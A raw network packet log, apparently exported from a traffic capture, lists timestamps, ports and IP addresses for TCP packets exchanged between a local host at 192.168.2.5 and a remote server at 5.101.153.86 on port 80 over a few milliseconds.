Feb 20, 2024 23:46:07.913871050 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.913944006 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.913958073 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.913996935 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.914027929 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.914069891 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.914077044 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.914089918 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.914113045 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.914125919 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.914139986 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.914158106 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.914165974 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.914208889 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.914208889 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.914223909 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.914294004 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.914350986 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.914393902 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.914469004 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.914505005 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.914515972 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.914536953 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.914617062 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.914618969 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.914741993 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.914756060 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.914787054 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.914839983 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.914860010 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.914875984 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.914892912 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.914897919 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.914916992 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.914920092 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.914953947 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.915106058 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915131092 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915185928 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915201902 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915216923 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.915230989 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915235043 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.915255070 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915267944 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915287018 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915306091 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915311098 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.915323973 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915332079 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.915380955 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915402889 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915410995 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.915420055 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915448904 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915468931 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.915468931 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915492058 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.915502071 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915545940 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.915550947 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915580988 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915594101 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915622950 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915651083 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.915676117 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915676117 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.915756941 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915793896 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915805101 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.915841103 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915853977 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915889978 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915923119 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.915941954 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.915976048 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.915998936 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.916053057 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.916218996 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.916312933 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.916364908 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.916369915 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.916384935 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.916464090 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.916467905 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.916480064 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.916493893 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.916539907 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.916552067 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.916564941 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.916610956 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.916626930 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.916675091 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.916704893 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.916718960 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.916774988 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.916785955 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.916800022 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.916817904 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.916847944 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.916850090 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.916889906 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.916960955 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.916997910 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.917047977 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.917053938 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.917068005 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.917081118 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.917109966 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.917114973 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.917126894 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.917154074 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.917157888 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.917197943 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.917227983 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.917242050 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.917260885 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.917275906 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.917282104 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.917294025 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.917341948 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.917349100 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.917391062 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.917431116 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.917480946 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.917525053 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.917555094 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.917577028 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.917607069 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.917638063 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.917659044 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.917670965 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.917680979 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.917740107 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.917758942 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.917788982 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.917870045 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.917918921 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.917946100 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.917958975 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918003082 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918009043 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.918021917 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918040037 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918056011 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918066025 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.918075085 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918116093 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.918155909 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918169975 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918183088 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918196917 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.918200970 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918226004 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.918231964 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918257952 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918279886 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.918311119 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918334961 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918350935 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918356895 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.918380022 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918392897 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918407917 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918425083 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918426991 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.918445110 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.918462038 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.918497086 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918574095 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918589115 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918631077 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.918636084 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918675900 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.918678999 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918704033 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918716908 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918766022 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.918766975 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918802023 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918814898 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918848991 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.918850899 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918869019 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.918874979 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918900967 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918912888 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.918917894 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918931007 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918943882 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918956995 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918972969 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.918987989 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.918992996 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919029951 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.919074059 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919086933 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919111967 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919123888 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.919142962 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919169903 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.919195890 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919212103 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919235945 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919265032 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.919270992 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919289112 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.919301987 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919348955 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919348955 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.919362068 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919373989 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919388056 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919415951 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.919449091 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.919461966 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919506073 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919580936 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919594049 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919636011 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919636011 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.919653893 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919667959 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.919693947 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.919711113 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919723988 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919735909 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919780016 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.919785023 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919797897 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919810057 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919843912 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.919872046 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.919878006 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919891119 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919903994 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919938087 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.919958115 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919970989 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919984102 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.919998884 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920016050 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920022964 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.920032024 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920056105 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.920056105 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.920067072 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920141935 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920175076 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920190096 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.920209885 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920216084 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.920228004 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920263052 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920290947 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920306921 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.920325994 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920330048 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.920363903 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920401096 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920433044 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920445919 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.920474052 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.920479059 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920494080 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920562029 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920609951 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920609951 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.920650005 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.920679092 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920764923 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920778990 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920809031 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.920838118 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920855045 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920886040 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.920905113 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920936108 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.920948029 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.920986891 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921031952 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921068907 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921078920 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.921087027 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921114922 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.921144962 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921168089 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921188116 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.921195984 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921241999 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921241999 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.921294928 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921309948 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921323061 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921339035 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.921370029 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.921374083 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921452999 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921498060 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921508074 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.921514988 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921530008 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921545029 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921556950 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.921565056 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921582937 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.921606064 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921618938 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921632051 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921642065 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.921655893 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921669006 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.921674967 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921686888 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921701908 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921709061 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.921720028 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921756983 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921772003 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.921794891 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.921798944 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921813965 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921870947 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.921935081 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921947956 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921983957 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.921992064 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.922008038 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922060966 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.922085047 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922131062 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922146082 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922185898 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.922188044 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922215939 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922236919 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.922245026 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922259092 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922305107 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.922331095 CET	80	49719	5.101.153.86	192.168.2.5
